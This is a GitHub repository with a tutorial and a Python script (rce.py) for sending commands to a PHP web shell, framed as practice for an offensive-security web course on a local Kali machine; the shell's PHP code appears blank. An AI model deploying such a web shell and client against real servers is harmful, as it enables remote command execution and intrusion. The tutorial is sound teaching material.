├── LICENSE ├── README.md ├── Screenshots ├── browser_interaction.PNG ├── interface_class.png ├── rce_script.png └── requests_module.png ├── rce.py └── shell.php /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 gh0x0st 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Interact with Web Shells Using Python 2 | Whether you're a seasoned penetration tester or a beginner, the field of penetration testing is a mile long and a mile deep; the opportunities within all the disciplines are endless. Offensive Security offers an advanced course called Advanced Web Attacks and Exploitation (AWAE) https://www.offensive-security.com/awae-oswe/ that focuses on white box web app penetration tests. 3 | 4 | ## Disclaimer 5 | 6 | This repository and the data provided has been created purely for the purposes of academic research and for the development of effective security techniques and is not intended to be used to attack systems except where explicitly authorized. It is your responsibility to obey all applicable local, state and federal laws. 7 | 8 | Project maintainers assume no liability and are not responsible for any misuse or damage caused by the data therein. 9 | 10 | ## Objectives 11 | Prior to registering for the course, you should ensure that you are familiar with writing scripts in at least one programming language. It is a common recommendation for you to focus on python and it's requests library. Interacting with web shells is a great way to practice both. However, once you start to get the hang of how it works, you could practice this with any language, all from your Kali Linux. Let's get our feet wet: 12 | 13 | 1. Hosting a Web Shell 14 | 2. Interface Class 15 | 3. Requests Module 16 | 4. Interacting with a Web Shell 17 | 18 | ## Hosting a Web Shell 19 | A web shell is a web file that provides you a shell-like interface that you can use to interact with the operating system through arbitrary commands. For this example, we'll use a PHP file as it's a very simple syntax. On your Kali machine, simply create a php file on your web root with `` in the body and start up Apache. 20 | 21 | ```console 22 | ──(tristram㉿kali)-[~] 23 | └─$ echo '' | sudo tee /var/www/html/shell.php 24 | ``` 25 | 26 | **Let's break down that PHP Code:** 27 | 28 | * system is a built-in function that is used to execute the given command 29 | * GET is a variable that contains form data from a get method 30 | * command is the parameter that we'll use to pass our string with contains the command we want to have run via the system function 31 | 32 | We can view this in action manually using our browser as such to confirm we have a working web shell: 33 | 34 | ![Alt text](https://github.com/gh0x0st/RCE_Web_Shell_Python/blob/main/Screenshots/browser_interaction.PNG?raw=true "browser_interaction") 35 | 36 | ## Interface Class 37 | This piece is completely optional, but is a good habit to get into if you're new to writing scripts. Specifically, you should get into the habit of being consistent with your code so pieces are re-usable and readable. This can provide you a clean looking interface that you could re-use in various other scripts. 38 | 39 | Consider the following example of an interface class that we can be used to print banners and other formatted messages to the terminal: 40 | 41 | ```Python 42 | # Simple interface class 43 | class Interface (): 44 | def __init__ (self): 45 | self.red = '\033[91m' 46 | self.green = '\033[92m' 47 | self.white = '\033[37m' 48 | self.yellow = '\033[93m' 49 | self.bold = '\033[1m' 50 | self.end = '\033[0m' 51 | 52 | def header(self): 53 | print('\n >> Remote Code Execution') 54 | print(' >> https://www.github.com/gh0x0st\n') 55 | 56 | def info (self, message): 57 | print(f"[{self.white}*{self.end}] {message}") 58 | 59 | def warning (self, message): 60 | print(f"[{self.yellow}!{self.end}] {message}") 61 | 62 | def error (self, message): 63 | print(f"[{self.red}x{self.end}] {message}") 64 | 65 | def success (self, message): 66 | print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}") 67 | 68 | # Instantiate our interface class 69 | output = Interface() 70 | 71 | # Output examples 72 | output.header() 73 | output.info('Informational Message') 74 | output.warning('Warning Message') 75 | output.error('Error Message') 76 | output.success('Success Message') 77 | ``` 78 | 79 | Keep in mind when you create a class, `__init__` is executed every time you instantiate the class. Here, we'll use `__init__` to hold the values for our color codes. Then we'll define the functions or methods that will output our header and message logs when we call them from within our interface object. 80 | 81 | ![Alt text](https://github.com/gh0x0st/RCE_Web_Shell_Python/blob/main/Screenshots/interface_class.png?raw=true "interface_class") 82 | 83 | ## Requests Module 84 | The requests module is a python library that allows you to make web requests, such as GET and POST requests. Within the AWAE course, you can imagine that would be extremely useful and it would be to your benefit to get comfortable with it before you start your course. It is also a very straight forward module to learn. 85 | 86 | With this example, all we're going to focus on are GET requests. It's relatively straight forward to invoke these requests, but play around and see what other information you could have stored in r after your initial request. 87 | 88 | ```Python 89 | import requests 90 | r = requests.get('http://127.0.0.1') 91 | r.status_code 92 | r.text 93 | ``` 94 | 95 | ![Alt text](https://github.com/gh0x0st/RCE_Web_Shell_Python/blob/main/Screenshots/requests_module.png?raw=true "requests_module") 96 | 97 | ## Interacting with a Web Shell 98 | Now that we have a web shell that we know we can interactive with manually via our browser, let's learn how to do so via the requests library. When we build a script that interacts with a web shell, we want to build in a way so we can interact it as if it was a terminal without having to run the script over and over for each command. 99 | 100 | To accomplish this, we'll use a `while True` loop that will constantly loop until we exit. Within this loop is where we'll use the requests library to make GET requests against the shell.php inserting our instruction into the 'command' parameter. 101 | 102 | You can also provide yourself a good visual indicator that you're connected with your web shell is to change the input text to something different using the `input` function. This is completely optional but gives you an opportunity to put your own style into your code. 103 | 104 | ```Python 105 | # Remote code execution 106 | while True: 107 | try: 108 | cmd = input("\033[91mRCE\033[0m > ") 109 | if cmd == 'exit': 110 | raise KeyboardInterrupt 111 | r = requests.get(target + "?command=" + cmd, verify=False) 112 | if r.status_code == 200: 113 | print(r.text) 114 | else: 115 | raise Exception 116 | except KeyboardInterrupt: 117 | sys.exit() 118 | except ConnectionError: 119 | output.error('We lost our connection to the web shell') 120 | sys.exit() 121 | except: 122 | output.error('Something unexpected happened') 123 | sys.exit() 124 | ``` 125 | 126 | ![Alt text](https://github.com/gh0x0st/RCE_Web_Shell_Python/blob/main/Screenshots/rce_script.png?raw=true "rce_script") 127 | 128 | ## Putting it all together 129 | By putting everything together, we can create ourselves a baseline script that we can use to interact with a web shell via python. Once you break down the tasks you need to accomplish into smaller bits, you'll see how easy it is to learn new aspects of a programming language that you might not be familiar with. 130 | 131 | If you want to take this to the next level, setup your Kali machine with a HTML form and a PHP file upload script and practice uploading files with a POST request and chain your script with what you've learned with GET requests to create a fully scripted exploit. 132 | 133 | Be informed, be secure. 134 | -------------------------------------------------------------------------------- /Screenshots/browser_interaction.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gh0x0st/RCE_Web_Shell_Python/d9418f3420bcd24983a16b11aa6e32b075de694e/Screenshots/browser_interaction.PNG -------------------------------------------------------------------------------- /Screenshots/interface_class.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gh0x0st/RCE_Web_Shell_Python/d9418f3420bcd24983a16b11aa6e32b075de694e/Screenshots/interface_class.png -------------------------------------------------------------------------------- /Screenshots/rce_script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gh0x0st/RCE_Web_Shell_Python/d9418f3420bcd24983a16b11aa6e32b075de694e/Screenshots/rce_script.png -------------------------------------------------------------------------------- /Screenshots/requests_module.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gh0x0st/RCE_Web_Shell_Python/d9418f3420bcd24983a16b11aa6e32b075de694e/Screenshots/requests_module.png -------------------------------------------------------------------------------- /rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import requests 4 | import sys 5 | from requests.exceptions import ConnectionError 6 | 7 | 8 | # Interface class to display terminal messages 9 | class Interface(): 10 | def __init__(self): 11 | self.red = '\033[91m' 12 | self.green = '\033[92m' 13 | self.white = '\033[37m' 14 | self.yellow = '\033[93m' 15 | self.bold = '\033[1m' 16 | self.end = '\033[0m' 17 | 18 | def header(self): 19 | print('\n >> Remote Code Execution') 20 | print(' >> https://www.github.com/gh0x0st\n') 21 | 22 | def info(self, message): 23 | print(f"[{self.white}*{self.end}] {message}") 24 | 25 | def warning(self, message): 26 | print(f"[{self.yellow}!{self.end}] {message}") 27 | 28 | def error(self, message): 29 | print(f"[{self.red}x{self.end}] {message}") 30 | 31 | def success(self, message): 32 | print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}") 33 | 34 | # Instantiate our interface class 35 | output = Interface() 36 | 37 | # Banner 38 | output.header() 39 | 40 | # Check for arguments 41 | if len(sys.argv) < 2: 42 | output.info("Usage: python3 rce.py http://127.0.0.1/shell.php") 43 | sys.exit() 44 | 45 | # Get input from the command line 46 | target = sys.argv[1] 47 | output.info(f"Attempting a connection with {target}") 48 | 49 | # Can we connect to the shell? 50 | try: 51 | r = requests.get(target) 52 | if r.status_code == 200: 53 | output.success('Successfully connected to web shell\n') 54 | else: 55 | raise Exception 56 | except ConnectionError: 57 | output.error('We were unable to establish a connection') 58 | sys.exit() 59 | except: 60 | output.error('Something unexpected happened') 61 | sys.exit() 62 | 63 | # Remote code execution 64 | while True: 65 | try: 66 | cmd = input("\033[91mRCE\033[0m > ") 67 | if cmd == 'exit': 68 | raise KeyboardInterrupt 69 | r = requests.get(target + "?command=" + cmd, verify=False) 70 | if r.status_code == 200: 71 | print(r.text) 72 | else: 73 | raise Exception 74 | except KeyboardInterrupt: 75 | sys.exit() 76 | except ConnectionError: 77 | output.error('We lost our connection to the web shell') 78 | sys.exit() 79 | except: 80 | output.error('Something unexpected happened') 81 | sys.exit() 82 | -------------------------------------------------------------------------------- /shell.php: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------